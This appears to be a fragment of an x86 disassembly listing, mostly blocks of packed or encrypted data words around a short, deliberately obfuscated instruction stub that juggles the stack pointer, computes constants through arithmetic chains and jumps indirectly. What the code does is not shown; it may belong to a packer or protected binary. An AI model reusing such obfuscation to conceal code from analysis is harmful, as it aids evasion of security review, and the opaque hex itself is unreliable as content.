		dd 215EADFBh, 1BCCA0DCh, 87DC2E6Ch, 331021CAh, 3BBA9369h
		dd 0BE18FB1Fh, 3AAA6B09h, 8A998D8Dh, 6A064Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6561FEC3h
		dd 0B9858B40h, 89064820h, 480A198Dh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 2A73B43Ah
		dd 22C57A3h, 6890FD6h, 89000000h, 4829199Dh, 3585C706h
		dd 9006480Fh, 8100005Ch, 1E79D2C8h, 2585C724h, 64824h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0B704C350h, 0E5B5FFC9h, 6A064826h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 1BB2C351h, 51C8209Ah, 0BD95FFB1h,	0F5064820h
		dd 0FF006AF8h, 48306195h, 0EBC08B06h, 74422D5Eh, 0FA330B23h
		dd 0ACF63B33h, 8D1ABFE2h, 0FC175BAh, 0F1963367h, 41FBD675h
		dd 0F0D5B404h, 628F7FECh, 0E90A2D41h, 0D5AC1F96h, 0B8ACD438h
		dd 0F9FEC317h, 72BD3148h, 579B2F71h, 12E2B1F4h,	8C395415h
		dd 23CAB93Bh, 0AFE47B01h, 9E46A905h, 2DFDABA3h,	5AAF332Eh
		dd 23013B74h, 0C6025906h, 48276D85h, 0DF685606h, 0FFA9C530h
		dd 482195B5h, 1E858D06h, 0FF064B83h, 818D8DD0h,	5106482Eh
		dd 0B5FF406Ah, 64831E1h, 1ED1B5FFh, 0D0FF0648h,	31E1B5FFh
		dd 0B5FF0648h, 6481ED1h, 14E8h,	19C36800h, 6F3602CCh, 0E4F7692Fh
		dd 0A0DE6CABh, 0D5E76A7Eh, 835F5F01h, 2CC104EFh, 24C10224h
		dd 3C030224h, 241CF724h, 0C8BF62Bh, 0AEC18137h,	81360359h
		dd 32E261E9h, 0F5E98173h, 8945AD49h, 0EE81370Ch, 36CB167Ch
		dd 1678C681h, 343B36CBh, 0D3850F24h, 8DFFFFFFh,	481A759Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 0C98B1889h
		dd 0DE8h, 971FC700h, 81ECF231h,	9E48A038h, 0CE8F68Dh, 0B7000000h
		dd 0F1932ECDh, 604F5CA8h, 56A2D59Eh, 5958C18Bh,	41C3815Bh
		dd 66000064h, 2B0E9BB8h, 38C0FD2h, 0F000000h, 3C8BC9B7h
		dd 68B0F13h, 81000000h,	5B4E37E6h, 6EEF8138h, 8B0BE768h
		dd 0D5EF81F1h, 814F6316h, 4EA72EFh, 27C08122h, 89046984h
		dd 0FE8133Ch, 0E0000000h, 0A4109C62h, 0D28DA20Bh, 0ED49311Ch
		dd 6059FD0Ch, 0DE08BA66h, 2EA8361h, 0CF8A4A4Ah,	9C88FA81h
		dd 850FFFFFh, 11h, 33E9C68Bh, 5A000000h, 8061B3D2h, 88A3752Ch
		dd 8C0F5723h, 16h, 11E9h, 88430800h, 5EB00843h,	9566EA4Eh
		dd 391AD311h, 0E959C71Ah, 0FFFFFF72h, 93CF64Bh,	0ABE96129h
		dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh,	0F44592B3h
		dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh,	55207520h
		dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h,	0B599BD32h
		dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
		dd 0F07B6B5Ch, 8A924Ah,	45F352D0h, 0A3F653F5h, 44D6D979h
		dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
		dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
		dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
		dd 1E80097h, 3D94E7A6h,	820D8332h, 0EAE923F6h, 68000012h
		dd 64E8F16h, 0F9F01EE9h, 901E68FFh, 14E9064Eh, 68FFF9F0h
		dd 64E9139h, 0F9F00AE9h, 92BB68FFh, 0E9064Eh, 68FFF9F0h
		dd 64E9336h, 0F9EFF6E9h, 93F868FFh, 0ECE9064Eh,	68FFF9EFh
		dd 64E94ACh, 0F9EFE2E9h, 954068FFh, 0D8E9064Eh,	68FFF9EFh
		dd 64E960Fh, 0F9EFCEE9h, 973B68FFh, 0C4E9064Eh,	68FFF9EFh
		dd 64E9841h, 0F9EFBAE9h, 999968FFh, 0B0E9064Eh,	68FFF9EFh
		dd 64E9AF9h, 0F9EFA6E9h, 9CD968FFh, 9CE9064Eh, 68FFF9EFh
		dd 64E9DAEh, 0F9EF92E9h, 59A5B7FFh, 5BA7BEDFh, 5CA8C0E1h
		dd 5FABA3F4h, 5FABA4F5h, 0DB6066F5h, 0DF80B804h, 0C596BE0Ah
		dd 0C99AC20Eh, 78BC511h, 409707E3h, 3E955615h, 7C5586F4h
		dd 6179E630h, 49720A15h, 6CE94591h, 15896576h, 174FC6B3h
		dd 0B3271733h, 2A054FC6h, 4B322A03h, 5985E3F9h,	7C526880h
		dd 0FB4ED930h, 9288531Fh, 5BB6498Eh, 0D3CEC4D0h, 0C399560Eh
		dd 0A36FBB92h, 0C3E056ADh, 0F55B3931h, 0BCD9BE8Ch, 44CEE2CEh
		dd 36E3h, 0E95B7B00h, 8B168DD1h, 440807CDh, 4FC6FE52h
		dd 3FE63FE2h, 0E9F64D21h, 0D938498Eh, 4D05364Eh, 57E34601h
		dd 0F1A271Bh, 0B3124056h, 397CA23Dh, 0C8E15Bh, 86750000h
		dd 0E6307C55h, 964B6179h, 875E014Ah, 0F03BD23Bh, 0D34C984Fh
		dd 0BC9DAEA4h, 88FE5AA6h, 0AC4FC6B3h, 5FC09C85h, 1E548956h
		dd 2B141E7Ah, 520A560Ch, 0C78A6526h, 0CA16CC4Fh, 0CD19D192h
		dd 273DFF52h, 35392539h, 4FC78D41h, 6A020CF3h, 498F7451h
		dd 75BC749Bh, 0BB8FADC3h, 4FD4F5B3h, 998562BBh,	91E69183h
		dd 0E07CA385h, 0FBCFE0F7h, 4FC91F8Bh, 0B59F86A9h, 16D0E9h
		dd 0BEA39CE8h, 0D58ACB67h, 0FD5FA989h, 115ACCBCh, 104C2Ch
		dd 2D796B00h, 2F7B5203h, 307C5405h, 337F5708h, 337F5809h
		dd 2FB41A09h, 1344EC38h, 194AF23Eh, 1D3EF642h, 5B3FF945h
		dd 424B3B0Fh, 0AE95615h, 1A6681C8h, 1D698122h, 0E95B4933h
		dd 5E014D09h, 7BE9408Ch, 8E9E9C6Fh, 0F42FD249h,	0EDEE258h
		dd 1B677F56h, 2A766F10h, 0DA398F21h, 0E124122Fh, 0D814D71h
		dd 1F560EDFh, 9B283600h, 0E85B3941h, 0D8h, 1D69817Eh, 0E5A7522h
		dd 0B13C7715h, 8BAC4FC6h, 0A1BE89D5h, 8BA77ECAh, 70CC18CAh
		dd 0EA449047h, 0D11D3566h, 2B410356h, 9D9A313Dh, 0AD8E498Eh
		dd 88E16AB6h, 9B957CAEh, 0B804D6FFh, 8E69DB5Eh,	0EDECCC2h
		dd 68C16056h, 4B95F0FCh, 0D4054FD4h, 0C877B0FCh, 0A67BC410h
		dd 926DB37Fh, 85B68AB6h, 5CC57ECAh, 0C9399E10h,	0C20EC34Fh
		dd 0A78AA089h, 0C915CA8Bh, 91A7BA9Bh, 0AE938CD8h, 0C793BB57h
		dd 76B1FDEEh, 1D68793h,	171555B5h, 7BA4CCBCh, 0F449Ah
		dd 25716300h, 27736A2Bh, 28746C2Dh, 2B776F30h, 2B777031h
		dd 27AC3231h, 2B6CE430h, 3172EA36h, 1546EE3Ah, 5347F13Dh
		dd 43534307h, 2E15615h,	186681C0h, 0D3F469F6h, 7B70D31Bh
		dd 3D5ED62Fh, 255FD925h, 677D5586h, 43FC2571h, 4F0354DEh
		dd 43174803h, 777049F7h, 16470F2Bh, 0D2B2F442h,	0C4C3C4B0h
		dd 2D6FF5Dh, 7A946DB6h,	0AAC092C5h, 0A3BC67B3h,	0FE9BA1C7h
		dd 0EAD6729Bh, 0EFA5F199h, 6C087308h, 4FC792FAh, 483E123Ah
		dd 0EC4FC793h, 0FE52DC45h, 845D7E62h, 3E1AEF38h, 4FC79348h
		dd 3AE945ECh, 0FD1325C5h, 75C48B5Fh, 0D32C498Fh, 546AA06Ch
		dd 68BA54FDh, 879EEAFFh, 0D8E15A76h, 0EA5ABE94h, 504E52D0h
		dd 0AA83BA83h, 2C6DB2BEh, 0D93B51h, 0A1AD9BE7h,	47516CADh
		dd 9496A07Fh, 798AB26Dh, 0ACFED000h, 0CF62AC3Dh, 0E5E9576Dh
		dd 4117478Bh, 0D6EA56B9h, 4970E6EAh, 5DC44188h,	88499F0Fh
		dd 0A8728D41h, 7BC79BBCh, 7ECAA0C1h, 7F0744B0h,	7F6413Dh
		dd 0E29h, 10489448h, 124A964Fh,	114B9751h, 124A9650h, 124A9651h
		dd 9146CB13h, 974A0B45h, 9B50114Bh, 9EB4E54Fh, 0AAF6EA52h
		dd 1544B0A6h, 5D618456h, 20965A86h, 144FC6B3h, 474112EDh
		dd 0D545D53Fh, 0FA461C39h, 26726D4Eh, 55EA441Dh, 38243CFCh
		dd 0D01C3324h, 0B6952E46h, 7091498Eh, 4F57F759h, 0DDF14FF7h
		dd 560F0E69h, 58CA64CBh, 88B87FB9h, 1BF8D470h, 114FD6F5h
		dd 0F60735EEh, 8FB6B6B8h, 0E7838F24h, 4FC6E173h, 9707BEF4h
		dd 0F2DBF486h, 1C3FCD3Fh, 401EF844h, 54F19BA3h,	62E0h
		dd 0E95B7600h, 855975D3h, 0E7498EF9h, 283B1C48h, 443874DCh
		dd 21560EFEh, 7B5FFD49h, 0E203E422h, 14FEF4Fh, 560F168Dh
		dd 0A2B6809Fh, 27659D06h, 0DEDACCA0h, 0B75A560Eh, 993C634Ch
		dd 809A73BFh, 0EFFB0CDFh, 560EC97Fh, 70BB52ADh,	2777ABD4h
		dd 92FE9275h, 7A49AB6h,	0A988560Fh, 0D278E8Dh, 5B440000h
		dd 5975D3E9h, 49883FC4h, 382E422Ah, 0FC561540h,	6750EC15h
		dd 36825D73h, 2B2314EDh, 520E46DFh, 27206C69h, 7367F842h
		dd 0E3551C27h, 49024E03h, 21B49E0h, 22C5C4C7h, 36825864h
		dd 4AED14EDh, 6FEB4793h, 0D72D6B5Bh, 0FA66C94Fh, 93BD09E1h
		dd 98C410C2h, 16B6A8C4h, 9B764FC7h, 859EC67Fh, 0A1A09FA2h
		dd 0A295A11Eh, 12DE8AA2h, 498ED44Dh, 1492A07Fh,	55CAF688h
		dd 0CA72B0Ah, 16C60000h, 14D192CAh, 19CF90C8h, 1C3263CDh
		dd 203768D0h, 0D5FD5CD4h, 114B9750h, 0E34D9950h, 0DB55A1B2h
		dd 0F45CA8BAh, 0BEB0BCE0h, 6E561545h, 1C964B57h, 1F4FC6B3h
		dd 9559071Dh, 49883EA9h, 0EFC8749Bh, 0D985AFFBh, 3F75E905h
		dd 58B75615h, 0B3C9A1BEh, 6EB9509Ch, 0E58399ABh, 8591DDF4h
		dd 5EA001DDh, 9CDF5CCAh, 841753DFh, 6A4FDD5Fh, 3C2167C7h
		dd 0AB74CCB8h, 0C2C4Ah,	4D994B00h, 4F9BB2E3h, 509CB4E5h
		dd 539FB7E8h, 539FB8E9h, 0CF547AE9h, 3364CC18h,	396AD21Eh
		dd 3D5ED622h, 7B5FD925h, 462B1B2Fh, 0EA095615h,	1D6981E8h
		dd 0F945163Fh, 6D68DB2Eh, 14301521h, 66E12D23h,	4BD42039h
		dd 52030FF6h, 2F083480h, 1B24EE3Ah, 9A10F321h, 54F11205h
		dd 6997Eh, 0E95B1800h, 704975D3h, 49202B77h, 1AF44016h
		dd 883EF152h, 98C46B49h, 57545BC4h, 9C87D38Ah, 0B783E983h
		dd 0F068B4A6h, 7FCB83B4h, 64B0A2B3h, 1CD9D1DBh,	0AC8D5615h
		dd 0FE6463B1h, 671A6762h, 7BBD74BEh, 0E0F3F765h, 0E4FDCE1h
		dd 68E32F29h, 4FD82437h, 1CFA13FAh, 0CCB8B2FAh,	6A896CB7h
		dd 8900000Bh, 8CCD87D3h, 8ACB85D1h, 91D28AD6h, 8ECF89D5h
		dd 0B4A38DD9h, 82CE890Eh, 84D089DAh, 8CD88BCCh,	93DFF3A4h
		dd 0E5E935A9h, 56154671h, 811E20C3h, 75221D69h,	0E16115Dh
		dd 9CBD2DE8h, 0BB9975C1h, 54F11228h, 5ED5Bh, 1C96F300h
		dd 1F4FC6B3h, 9559071Dh, 49883E76h, 0BF9BC968h,	6D856F5Eh
		dd 825BE425h, 1243CF36h, 1B3CF440h, 27383147h, 15223323h
		dd 71E0156h, 203CE53Ch,	0AAFCFFFh, 15565046h, 0E23DE456h
		dd 2C18FA18h, 150C2E20h, 1723FE56h, 4159EB2Eh, 5C626464h
		dd 97C55CA6h, 0DD5640D3h, 313EE4Fh, 0CCB826E9h,	0B6BA9BC4h
		dd 0D500000Ah, 0D889B3FFh, 0D687B1FDh, 0DD7EB602h, 0DA7BB501h
		dd 0A07FB905h, 4E9AB53Ah, 509CB5E6h, 58A4B7E8h,	5FABBFE0h
		dd 0B1BDE1F5h, 561547BDh, 814A546Fh, 75221D69h,	0E16115Dh
		dd 2CB72DE8h, 5754F112h, 53Eh, 0D3E95BEFh, 11854975h, 234FC6B3h
		dd 262A32FCh, 49883E5Ah, 0D987AAh, 0BDA49FEBh, 1AD0E971h
		dd 1D3566CEh, 2A034F07h, 0F4401D3Eh, 1387251Ah,	2856153Fh
		dd 73640018h, 5B07135Fh, 0DD357C8Fh, 0BF4FB24Fh, 0CCB8063Bh
		dd 22C035FEh, 4100000Ah, 2475DF2Bh, 2273DD29h, 297AE22Eh
		dd 2677E12Dh, 0EC6BE531h, 3A8661E6h, 3C886102h,	44904314h
		dd 4B974B0Ch, 8D618D11h, 56154819h, 8676B81Bh, 0F6317D55h
		dd 84560713h, 6955EF38h, 0C6B2F165h, 3F12434Fh,	38D138F3h
		dd 536981DEh, 0EE606C7Dh, 3E4FC6B2h, 28014AE3h,	0A2BE4601h
		dd 0C6509CB9h, 9DC13194h, 0C6B3DDD1h, 66B04F4Fh, 0F111EBF8h
		dd 0BFB4CD54h, 5AE1BDB2h, 6FD855E1h, 6E000004h,	20965A86h
		dd 144FC6B3h, 564921EDh, 0E74FC6B3h, 4D213F55h,	49883EA0h
		dd 0E4D5738Eh, 0E9BAA2EEh, 0F506DBF1h, 153F65D9h, 0C168C756h
		dd 0DE8AA386h, 8C97E3FDh, 8DE459B5h, 0A3A795ABh, 4FDD3968h
		dd 1D9B7B96h, 18CCB803h, 953EE4Fh, 62720000h, 607D1E16h
		dd 657B1C14h, 687E1F19h, 6C63341Ch, 0A1293820h,	3DF7431Ch
		dd 3FF9451Ch, 57014D1Eh, 50085406h, 5A4C204Ch, 0DA561549h
		dd 6981B7FBh, 40163F1Dh, 540C2BF4h, 43EA3F08h, 39314EF7h
		dd 7FD732EDh, 0E4E8D444h, 4FC6B372h, 82D35FC2h,	8ACC84D0h
		dd 54F115F5h, 1498Eh, 69812800h, 5D75221Dh, 0F0502711h
		dd 120D590Eh, 666AD62Fh, 498E9215h, 0F57FC867h,	560ED37Dh
		dd 9309CCEAh, 5B393210h, 4A73h,	0E95B0B00h, 825975D3h
		dd 26498E9Eh, 410D1E35h, 560EDF4Dh, 5EE940DFh, 0DF342A46h
		dd 19F8560Eh, 0FA1B17F0h, 705F7019h, 0FFD384A6h, 0C3D15AB3h
		dd 560FA6CFh, 0E55BBA98h, 5B3A08DAh, 0AAA9h, 97425B00h
		dd 0EAB79562h, 81E15BB7h, 75221D69h, 67150E5Ah,	0B3077753h
		dd 0A254FC6h, 0EF3B2F30h, 2E5A3051h, 0AC6EAC58h, 0A8BADD62h
		dd 0CBB8F45Ch, 964FC77Eh, 79C078C4h, 0A793B1C7h, 938CD88Eh
		dd 2B0864AEh, 21498CEFh, 5D7962FEh, 7C5D0511h, 7C1D1763h
		dd 0C7F71763h, 0B2CAF4F3h, 8279489h, 96460000h,	9451124Ah
		dd 994F1048h, 9CB2E34Dh, 0A0B7E850h, 557DDC54h,	91CB17D0h
		dd 63CD19D0h, 5BD52132h, 74DC283Ah, 3E303C60h, 0EE56154Ah
		dd 5586CBD7h, 0CF52E7Ah, 2E7A5502h, 73495A06h, 0ACA1712Ch
		dd 12C895A1h, 86B48EC6h, 0E023E21Dh, 439E68A0h,	7262418Bh
		dd 0C198CB62h, 0BB57AA75h, 0E07CC89Ah, 8C97E3F7h, 0B3E459B5h
		dd 0BDE9539Fh, 0A9FBAB64h, 0EF4BF14Bh, 2792Ch, 0E95BE200h
		dd 625975D3h, 0CC498EACh, 0BDEF765h, 14D884BFh,	560ED1A2h
		dd 7C966F92h, 0D1B1A9C3h, 80B6560Eh, 33B4CF45h,	10CF5B39h
		dd 67000002h, 0C6B32396h, 9C324B4Fh, 0F3449A3Eh, 0F03C1344h
		dd 1B311326h, 9E7A212Dh, 4DB44988h, 0C814C6EFh,	0E0F839Ch
		dd 0E43F8B45h, 9ECA9FCAh, 1566DCD2h, 65B15056h,	0CB84B5F1h
		dd 0B0A2B37Fh, 0A696DB64h, 5D9EB28Eh, 8F4FDD60h, 548B566Eh
		dd 4CB5C4B5h, 0B81F06BEh, 0A598E3CCh, 721h, 78E02C40h
		dd 7AE22E27h, 79E32F29h, 7AE22E28h, 7AE22E29h, 895EE3EBh
		dd 8F42133Dh, 93481943h, 964C0D47h, 628E124Ah, 154B188Eh
		dd 75B91C56h, 221D6981h, 33115D75h, 0DB60FCAh, 0FA5DA45Dh
		dd 0BB8E99E5h, 338BE65Fh, 443F60D0h, 5966427Dh,	0D78BCC66h
		dd 0ED01DD8Bh, 4FC7AC79h, 96BA54BBh, 0F20EBFC4h, 149C454h
		dd 815A0000h, 7A221D69h, 0F49FF629h, 194A9A4Ah,	3728F23Eh
		dd 165DD723h, 0E320E26h, 0C76C4C42h, 0F541E04Fh, 7268516Dh
		dd 49EE4B24h, 4CB572B5h, 72D9AAC2h, 0EC13498Fh,	73211933h
		dd 1046560Fh, 3D1445B5h, 47D336F1h, 39D18A15h, 44F95Bh
		dd 868D0000h, 0E22C7855h, 69D7ED4Fh, 0ED499550h, 9E825975h
		dd 3526498Eh, 0EC53CC18h, 47055407h, 54DE4757h,	5CF833CEh
		dd 560FAEE6h, 0FC725181h, 5B3A11E7h, 0A0EEE8D1h, 5FD13AD3h
		dd 6CC65FD6h, 94BBh, 1D865300h,	0F760BF62h, 3A1BF75Ch
		dd 3463DC28h, 2354CF1Bh, 3768E32Fh, 515DD723h, 4FC7D772h
		dd 53FD4921h, 18445CDCh, 8CC3F754h, 9ECA6549h, 7F358185h
		dd 61ADF8ADh, 0BB07E0F9h, 65B1AC8Dh, 0FBD485C9h, 0D70E6EAh
		dd 0E1F95611h, 7B926D95h, 0F4CB3F9Bh, 0CC31FACAh, 5C9h
		dd 0B0A8F4E8h, 0B2AAF6EFh, 0B1ABF7F1h, 0B2AAF6F0h, 0B2AAF6F1h
		dd 0B1A62BB3h, 0B7AAEB65h, 0BBB0F16Bh, 0BE94C56Fh, 8AD6CA72h
		dd 154CD0C6h, 3D816456h, 221A6681h, 331D6981h, 1D698149h
		dd 0F440163Fh, 33CD62Bh, 16327E54h, 955112Ah, 0C6B2FB6Bh
		dd 3CD6394Fh, 3C0114h, 86BD0000h, 0C12CC31Dh, 0A8726272h
		dd 0CC57A3B7h, 0CAA6B7ABh, 4FC7A3D4h, 0D750B958h, 0DB64B0A8h
		dd 0D15AA6BCh, 5F0AC99Fh, 279C77CDh, 316DE733h,	266128D0h
		dd 0B8823382h, 3065h, 69811900h, 0B3229458h, 0EF124FC6h
		dd 58112A16h, 0E42E130Ch, 0B35A515Bh, 4D094FC6h, 3D194601h
		dd 519D4EF1h, 0E0237BD6h, 4382B035h, 68D01CCEh,	1D69811Eh
		dd 0D7ED4F22h, 3FD06569h, 31E4988h, 125E7465h, 8E627E2Ah
		dd 56154018h, 3C19F51Ch, 156EDA26h, 0ACDAC8DCh,	0DD62ACF2h
		dd 0ABBF9BBFh, 561513BBh, 0C4BA9679h, 68561513h, 7ACA6DC9h
		dd 1DA0662h, 0B9909BE7h, 13CFBF8Bh, 0C25D5615h,	9F0AFC78h
		dd 3D2A4FD6h, 112FD622h, 5510C2Dh, 5974E73Ah, 0E32F120Dh
		dd 1C146072h, 8B401F80h, 0DF7AE13Eh, 4FCE07D0h,	5CB64FACh
		dd 909BE7FBh, 36177C9h,	9FEBFED7h, 4618D793h, 0BB56498Fh
		dd 0F619855Bh, 160730CAh, 469h,	0D088D488h, 0D28AD68Fh
		dd 0D18BD791h, 0D28AD690h, 0D28AD691h, 51068B53h, 570A4B05h
		dd 5B10510Bh, 5E74250Fh, 6AB62A12h, 154CF066h, 9DA14456h
		dd 94586981h, 4FC6B322h, 964CEF12h, 2879E34Ah, 3F5DE632h
		dd 0B35F4F1Bh, 4B024FC6h, 45DD44FFh, 0B3554925h, 38D74FC6h
		dd 421845D1h, 0B3291D31h, 240B4FC6h, 63765FFDh,	0D9350C17h
		dd 56AD0564h, 93BD09E1h, 0F115BEC1h, 41C554h, 5B590000h
		dd 5975D3E9h, 498EF985h, 0D7233821h, 0EE48E53Bh, 51BCEC1Ah
		dd 0DEF765BCh, 0DB97C10Dh, 560EB469h, 0B2FED801h, 0D9869079h
		dd 0AE87B501h, 5EAAA5BBh, 89A57CC7h, 73BF94C5h,	3AB45B8h
		dd 81F90000h, 75221D69h, 0DD3E0F5Dh, 0B710B3Ch,	951D915Dh
		dd 0F00F4FC7h, 0E8581F19h, 0B5874D0h, 61498F74h, 73E785BEh
		dd 0EE560F75h, 0ABC4AEFCh, 0AF45AFC2h, 0B8AACD56h, 0C0B3A3A7h
		dd 9E81560Eh, 166CBC87h, 92914BFh, 1E4F54CAh, 40345B39h
		dd 0CA000000h, 20965A86h, 144FC6B3h, 2E0E21EDh,	14A964Ch
		dd 0F03B875Eh, 2B19F019h, 8E9ECC1Fh, 44FF2249h,	55A20718h
		dd 122CBA0h, 0AB879EEAh, 0EE3CBBFh, 5FB69C56h, 3945D6E9h
		dd 0D2AD5Bh, 81410000h,	0DE3F1D69h, 706F9F71h, 0A1A67044h
		dd 0A29DE9FEh, 9691DDF5h, 0B7A5F1E9h, 0DBC1A566h, 956CB703h
		dd 661B666Ah, 0ABE884CCh, 164FC6E8h, 1F40F844h,	4061FF4Bh
		dd 0F0E4BEE6h, 2126F015h, 29CEE858h, 0B7942707h, 0EBCF6D94h
		dd 4E8BFBCFh, 86A94FC7h, 4EABC0ACh, 9FBB498Fh, 1D7E1F7Eh
		dd 5321EC21h, 560F1A63h, 3EE42ED1h, 420279E3h, 0CB323E2Ah
		dd 814FD469h, 0BE99C29Eh, 29E02B70h, 0A23B223h,	0A561152h
		dd 0BC335A2Ch, 290C57CCh, 289h,	0F068B4A8h, 0F26AB6AFh
		dd 0F16BB7B1h, 0F26AB6B0h, 0F26AB6B1h, 0F1E66B73h, 0F7EAABA5h
		dd 0FBF0B1ABh, 0FED485AFh, 0CA168AB2h, 154F9006h, 0FD41A456h
		dd 221A6681h, 2C785586h, 53040EF3h, 3F09337Fh, 75D3E95Bh
		dd 7408C44h, 804C1822h,	498E9EABh, 87251E01h, 560EDF13h
		dd 0C176854h, 0ED3E0A6Fh, 0A75EF43Eh, 397BAE31h, 0AFD55Bh
		dd 86690000h, 0B03BB21Dh, 0C4778777h, 0E273BF0Bh, 90EAA2F0h
		dd 0D86BD8E8h, 8E49F631h, 306B0942h, 984FC798h,	0E45FABBFh
		dd 0AEA4B17Dh, 0B1A9FA62h, 0A597DA65h, 869DB18Fh, 68498F97h
		dd 98A88FC9h, 8608E480h, 0C64FD504h, 3DCFD6Bh, 9CA7F3EDh
		dd 0A8F45CC5h, 958EDA8Fh, 0DAF562ACh, 0DBBC808Eh, 2EF9CCBCh
		dd 1B4CFh, 0B501D300h, 0B703DA7Bh, 0B804DC7Dh, 0BB07DF80h
		dd 0BB07E081h, 0B73CA281h, 0BBDC54A0h, 0C1E25AA6h, 0A5F65EAAh
		dd 0E3F761ADh, 50C3B3B7h, 52715615h, 7A558650h,	20CF52Eh
		dd 62E7A55h, 606C7D55h,	4FC6B2EEh, 124AE33Eh, 53698138h
		dd 4CD72E7Ah, 4421372Bh, 6FD82FF8h, 4BE16DFBh, 83E148E1h
		dd 0BA239357h, 0EE114FC6h, 776B2C24h, 0E759202Bh, 5BE15DCFh
		dd 6C950295h, 0EA8BFCD0h, 86A9498Eh, 1EF58BBDh,	0C89BB1A9h
		dd 2EC3B3B7h, 8E71560Fh, 0CFA68E77h, 98E9576Dh,	18421D44h
		dd 96C4168Bh, 0B5DBB5C2h, 0A6F2EB4Ch, 0F26AC49Dh, 0D70A4DDEh
		dd 0C7809F4Fh, 0BCCC849Dh, 3A055102h, 0E4D93CE7h, 4A203DD9h
		dd 5F7962FEh, 0E5311813h, 5BBA1060h, 0FC6880C0h, 8F0163F0h
		dd 0BE769949h, 0BCB2BEA2h, 70560F01h, 18E00CCh,	839E560Fh
		dd 1BCF90AAh, 302354CFh, 572D5BE4h, 753077Ch, 1D698059h
		dd 46F63D11h, 493E122Eh, 0EB4FD6E8h, 0F7071844h, 204BF56Dh
		dd 2956EF4Bh, 2677E531h, 9A619663h, 0C7809A3Ch,	0B671BD98h
		dd 0C780CC89h, 6B1146Ah, 3AD53046h, 6A56F20Ah, 0ED499551h
		dd 8EB01285h, 5FFD2449h, 90126076h, 0E3B08EE5h,	7BCE59B0h
		dd 80C0B79Fh, 65F0FC68h, 9B4FD0AFh, 0D68CAB74h,	0D991D28Ah
		dd 1EFA928Dh, 146A8573h, 608BF4C8h, 46235EE7h, 0C0615523h
		dd 2CD37584h, 209570E2h, 0A56FE4Ah, 0C0241A36h,	29087584h
		dd 4CD72336h, 263C19F5h, 382E51DAh, 5FF533ECh, 253B2FA4h
		dd 0EF3B152Bh, 0CD34CD34h, 0D4203263h, 3EA4Bh, 63A80000h
		dd 1F6B8117h, 135F7324h, 28746718h, 1D69801Fh, 0E5A7522h
		dd 216D6215h, 115D7926h, 236F6916h, 125E7728h
		db 19h,	74h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	3FB7h
		mov	[esp], ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ebp, 16D90502h
		or	ebp, 6EAA2452h
		push	esi
		mov	esi, 635A4C24h
		add	ebp, esi
		pop	esi
		sub	ebp, 0DC06E3ACh
		push	0DF2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		mov	edx, ebp
		push	eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], edx
		pop	eax
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		db 0A2h
		dd 182295D1h, 2B911B7Fh, 0ACE899F5h, 9F87B86Ch,	0C503064Eh
		dd 79CAE0FFh, 0D582670Ch, 5D22232Ah, 90CF4B2Ah,	4204240Eh
		dd 0EF2A70DBh, 790E05FFh, 44E77154h, 37B93F61h,	1ADE1746h
		dd 382B7738h, 2D85896h,	19D86377h, 0FE3F44F4h, 0B4225F55h
		dd 356A3572h, 2413128Ah, 0ED7F01B5h, 0BAEC13BCh, 611C21A6h
		dd 464B4EF6h, 39035286h, 26443C5Ah, 0B4312F95h,	0CDE134EEh
		dd 5C60021Ch, 297074E4h, 5FE91AB5h, 52000001h, 0E860D48Bh
		dd 0
		dd 0A1ED815Dh, 8B064EA0h, 453D0842h, 0F782638h,	13885h
		dd 0C428B00h, 0D3184A8Bh, 0B716BBC8h, 0C3336F6Ah, 8904E883h
		dd 480A1985h, 4588B06h,	428BF88Bh, 184A8B10h, 6FBEC8D3h
		dd 339A0DC9h, 83C72BC6h, 0E883FCE0h, 35858904h,	8B06480Fh
		dd 85891442h, 6482425h,	5318428Bh, 0B0E9h, 55B5FF00h, 0E9064818h
		dd 0B9h, 2181B5FFh, 0AEE90648h,	0FF000000h, 482281B5h
		dd 0A3E906h, 0B5FF0000h, 6482E1Dh, 98E9h, 35B5FF00h, 0E9064810h
		dd 8Dh,	24B5B5FFh, 82E90648h, 0FF000000h, 4828C9B5h, 77E906h
		dd 0B5FF0000h, 648228Dh, 6CE9h,	0EDB5FF00h, 0E906481Bh
		dd 61h,	27B5B5FFh, 56E90648h, 0FF000000h, 4829E1B5h, 4BE906h
		dd 0B5FF0000h, 64826E5h, 40E9h,	0F5B5FF00h, 0E9064825h
		dd 35h,	489B5FFh, 2AE90648h, 0FF000000h, 481E3DB5h, 1FE906h
		dd 0B5FF0000h, 6480D05h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 4EA1028Dh, 0FFC80306h, 0BD95FFE1h, 5B064820h, 0A19858Bh
		dd 58390648h, 0F850F04h, 53000000h, 95FF016Ah, 6483061h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
